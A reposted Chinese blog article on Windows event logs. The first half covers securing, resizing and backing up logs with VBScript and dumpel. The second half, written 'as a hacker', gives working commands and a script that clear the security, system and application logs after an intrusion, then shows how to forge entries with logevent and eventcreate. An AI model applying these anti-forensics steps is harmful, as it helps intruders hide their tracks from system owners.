windows日志的保护与伪造(转)

本文探讨了Windows系统中日志文件的安全配置方法,包括调整日志大小限制、备份及查询日志等内容,并介绍了黑客如何清除及伪造日志以掩盖踪迹。
windows日志的保护与伪造(转)[@more@]

  windows日志的保护与伪造

  日志对于系统安全的作用是显而易见的,无论是网络管理员还是黑客都非常重视日志,一个

  有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客往往会在

  入侵成功后迅速清除掉对自己不利的日志。下面我们就来讨论一下日志的安全和创建问题。

  一:概述:Windows2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器

  日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%system

  32config,默认文件大小512KB。

  安全日志文件:%systemroot%system32configSecEvent.EVT

  系统日志文件:%systemroot%system32configSysEvent.EVT

  应用程序日志文件:%systemroot%system32configAppEvent.EVT

  这些LOG文件在注册表中的:

  HKEY_LOCAL_MACHINESystemCurrentControlSetServicesEventlog

  有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日

  志的定位目录。

  

  

  

  二:作为网络管理员:

  1。日志的安全配置:

  默认的条件下,日志的大小为512KB大小,如果超出则会报错,并且不会再记录任何日志。所

  以首要任务是更改默认大小,具体方法:注册表中HKEY_LOCAL_MACHINESystemCurrentCon

  trolSetServicesEventlog对应的每个日志如系统,安全,应用程序等均有一个maxsize子

  键,修改即可。

   下面给出一个来自微软站点的一个脚本,利用VMI来设定日志最大25MB,并允许日志自行覆

  盖14天前的日志:

  该脚本利用的是WMI对象, WMI(Windows Management Instrumentation)技术是微软提供的Wi

  ndows下的系统管理工具。通过该工具可以在本地或者管理客户端系统中几乎一切的信息。很

  多专业的网络管理工具都是基于WMI开发的。该工具在Win2000以及WinNT下是标准工具,在W

  in9X下是扩展安装选项。所以以下的代码在2000以上均可运行成功。

  

  strComputer = "."

  Set objWMIService = GetObject("winmgmts:" _

   & "{impersonationLevel=impersonate,(Security)}!" & _

   strComputer & " ootcimv2") '获得VMI对象

  Set colLogFiles = objWMIService.ExecQuery _

   ("Select * from Win32_NTEventLogFile")

  For each objLogfile in colLogFiles

   strLogFileName = objLogfile.Name

   Set wmiSWbemObject = GetObject _

   ("winmgmts:{impersonationLevel=Impersonate}!. ootcimv2:" _

   & "Win32_NTEventlogFile.Name='" & strLogFileName & "'")

   wmiSWbemObject.MaxFileSize = 2500000000

   wmiSWbemObject.OverwriteOutdated = 14

   wmiSWbemObject.Put_

  Next

  将上述脚本用记事本存盘为vbs为后缀的即可使用。

  另外需要说明的是代码中的strComputer="."在windows脚本中的含义相当于localhost,如果

  要在远程主机上执行代码,只需要把"."改动为主机名,当然首先得拥有对方主机的管理员权

  限并建立IPC连接.本文中的代码所出现的strComputer均可作如此改动.

  2。日志的查询与备份:

  一个优秀的管理员是应该养成备份日志的习惯,如果有条件的话还应该把日志转存到备份机

  器上或直接转储到打印机上,笔者还有一篇文章《利用脚本编程格式化输出系统日志》,详

  细的讲述了利用windows脚本把日志转储并输出成html页已便于查询,有兴趣的可以查看,在

  这里推荐微软的resourceKit工具箱中的dumpel.exe,他的常用方法:

  dumpel -f filename -s server -l log

  -f filename 输出日志的位置和文件名

  -s server 输出远程计算机日志

  -l log log 可选的为system,security,application,可能还有别的如DNS等

  如要把目标服务器server上的系统日志转存为backupsystem.log可以用以下格式:

  dumpel server -l system -f backupsystem.log

  再利用计划任务可以实现定期备份系统日志。

  另外利用脚本编程的VMI对象也可以轻而易举的实现日志备份:

  下面给出备份application日志的代码:

  backuplog.vbs

  strComputer = "."

  Set objWMIService = GetObject("winmgmts:" _

   & "{impersonationLevel=impersonate,(Backup)}!" & _

   strComputer & " ootcimv2") '获得 VMI对象

  Set colLogFiles = objWMIService.ExecQuery _

   ("Select * from Win32_NTEventLogFile where LogFileName='Application'") '获取

  日志对象中的应用程序日志

  For Each objLogfile in colLogFiles

   errBackupLog = objLogFile.BackupEventLog("f:application.evt") '将日志备份

  为f:application.evt

   If errBackupLog <> 0 Then

   Wscript.Echo "The Application event log could not be backed up."

   else Wscript.Echo "success backup log"

   End If

  Next

  程序说明:如果备份成功将窗口提示:"success backup log" 否则提示:"The Applicatio

  n event log could not be backed up",此处备份的日志为application 备份位置为f:app

  lication.evt,可以自行修改,此处备份的格式为evt的原始格式,用记事本打开则为乱码,

  这一点他不如dumpel用得方便。

  

  

  三:作为黑客

  1。日至清除

  一个入侵系统成功后的黑客第一件事便是清除日志,如果以图形界面远程控制对方机器或是

  从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不

  同于http,ftp这样的服务,可以在命令行下先停止,再删除,在m命令行下用net stop even

  tlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,下面

  介绍几种方法:

   1.借助第三方工具:如小榕的elsave.exe远程清除system,applicaton,security的软件,

  使用方法很简单,首先利用获得的管理员账号与对方建立ipc会话,net use ip pass /us

  er: user

  然后命令行下:elsave -s ip -l application -C,这样就删除了安全日志。

  其实利用这个软件还可以进行备份日志,只要加一个参数 -f filename就可以了,在此不再

  详述。

   2.利用脚本编程中的VMI,也可以实现删除日志,首先获得object对象,然后利用其clea

  rEventLog() 方法删除日志。源代码:

  cleanevent.vbs

  strComputer = "."

  Set objWMIService = GetObject("winmgmts:" _

   & "{impersonationLevel=impersonate,(Backup)}!" & _

   strComputer & " ootcimv2")

  dim mylogs(3)

  mylogs(1)="application"

  mylogs(2)="system"

  mylogs(3)="security"

  for Each logs in mylogs

  Set colLogFiles = objWMIService.ExecQuery _

   ("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")

  For Each objLogfile in colLogFiles

   objLogFile.ClearEventLog()

  Next

  next

  在上面的代码中,建立一个数组,为application,security,system如果还有其他日志也可以加

  入数组。

  然后用一个for 循环,删除数组中的每一个元素,即各个日志.

  2。创建日志:

  删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一

  个聪明的黑客的学会如何

  伪造日志:

   1。利用脚本编程中的eventlog方法是创造日志变得非常简单;下面看一个代码

  createlog.vbs

  set ws=wscript.createobject("Wscript.shell")

  ws.logevent 0 ,"write log success" '创建一个成功执行日志

  这个代码很容易阅读,首先获得wscript的一个shell对象,然后利用shell对象的logevent方

  法

  logevent的用法:logevent eventtype,"description" [,remote system]

  eventtype 为日志类型,可以使用的如下:0 代表成功执行,1 执行出错 ,2 警告 , 4,信

  息 ,8 成功审计 16 故障审计

  所以上面代码中,把0改为1,2,4,8,16均可,引号下的为日志描述。

  这种方法写的日志有一个缺点,只能写到应用程序日志,而且日至来源只能为wsh,即window

  s scripting host,所以不能起太多的隐蔽作用。

   2,微软为了方便系统管理员和程序员,在xp下有个新的命令行工具,eventcreate.exe,

  利用它,创建日志更加简单。

  eventcreate -s server -l logname -u username -p password -so source -t eventtyp

  e -id id -d description

  含义:-s 为远程主机创建日志: -u 远程主机的用户名 -p 远程主机的用户密码

  -l 日志;可以创建system和application 不能创建security日志,

  -so 日志来源,可以是任何日志 -t 日志类型 如information信息,error错误,warning 警

  告,

  -d 日志描述,可以是任意语句 -id 自主日志为1-1000之内

  例如,我们要本地创建一个系统日志,日至来源为admin,日志类型是警告,描述为"this is

  a test",事件ID为500

  可以用如下参数

  eventcreate -l system -so adminis

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/8403220/viewspace-934940/,如需转载,请注明出处,否则将追究法律责任。

user_pic_default.png
请登录后发表评论 登录
全部评论
<%=items[i].createtime%>

<%=items[i].content%>

<%if(items[i].items.items.length) { %>
<%for(var j=0;j
<%=items[i].items.items[j].createtime%> 回复

<%=items[i].items.items[j].username%>   回复   <%=items[i].items.items[j].tousername%><%=items[i].items.items[j].content%>

<%}%> <%if(items[i].items.total > 5) { %>
还有<%=items[i].items.total-5%>条评论 ) data-count=1 data-flag=true>点击查看
<%}%>
<%}%> <%}%>

转载于:http://blog.itpub.net/8403220/viewspace-934940/

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值